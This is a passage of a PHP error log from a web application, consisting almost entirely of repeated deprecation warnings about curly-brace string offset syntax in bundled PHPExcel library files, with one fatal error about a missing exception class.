/home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:06:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:06:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:06:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:06:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:06:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:06:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:06:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:06:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:06:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:06:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:06:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:06:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:06:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:06:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:06:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:06:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:06:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:06:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:06:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:06:55 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:06:55 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:06:55 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:06:55 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:06:55 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:06:55 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:06:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [29-Jun-2024 02:06:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [29-Jun-2024 02:06:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 812 [29-Jun-2024 02:06:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 815 [29-Jun-2024 02:06:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 818 [29-Jun-2024 02:06:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 821 [29-Jun-2024 02:06:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:06:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:06:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:06:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:06:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:06:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 162 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 184 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 185 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 194 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 204 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 205 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 212 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 222 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 225 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 233 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 244 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 246 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 247 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 257 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 268 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 279 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 286 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 299 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 318 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 340 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 361 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 368 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 388 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 393 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 399 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 404 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 410 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 426 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 447 [29-Jun-2024 02:07:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 463 [03-Jul-2024 17:27:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [03-Jul-2024 17:27:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [03-Jul-2024 17:27:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [03-Jul-2024 17:27:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [03-Jul-2024 17:27:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [03-Jul-2024 17:27:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [03-Jul-2024 19:27:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [03-Jul-2024 19:27:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [03-Jul-2024 19:27:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [03-Jul-2024 19:27:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [03-Jul-2024 19:27:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [03-Jul-2024 19:27:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [03-Jul-2024 23:31:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 321 [03-Jul-2024 23:31:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 324 [03-Jul-2024 23:31:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 562 [03-Jul-2024 23:31:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 612 [03-Jul-2024 23:31:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [03-Jul-2024 23:31:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [03-Jul-2024 23:31:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [03-Jul-2024 23:31:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [03-Jul-2024 23:31:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [03-Jul-2024 23:31:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [03-Jul-2024 23:40:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [03-Jul-2024 23:40:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [03-Jul-2024 23:40:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [03-Jul-2024 23:40:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [03-Jul-2024 23:40:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [03-Jul-2024 23:40:44 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [04-Jul-2024 00:38:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [04-Jul-2024 00:38:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [04-Jul-2024 00:38:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [04-Jul-2024 00:38:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [04-Jul-2024 00:38:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [04-Jul-2024 00:38:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 44 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [04-Jul-2024 01:03:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [04-Jul-2024 02:23:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [04-Jul-2024 02:23:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [04-Jul-2024 02:23:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [04-Jul-2024 02:23:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [04-Jul-2024 02:23:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [04-Jul-2024 02:23:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [04-Jul-2024 04:35:45 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php on line 28 [04-Jul-2024 05:11:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [04-Jul-2024 05:11:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [04-Jul-2024 05:11:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [04-Jul-2024 05:11:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [04-Jul-2024 05:11:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [04-Jul-2024 05:11:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [04-Jul-2024 07:11:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [04-Jul-2024 07:11:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [04-Jul-2024 07:11:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [04-Jul-2024 07:11:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [04-Jul-2024 07:11:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [04-Jul-2024 07:11:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 162 [04-Jul-2024 08:56:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in 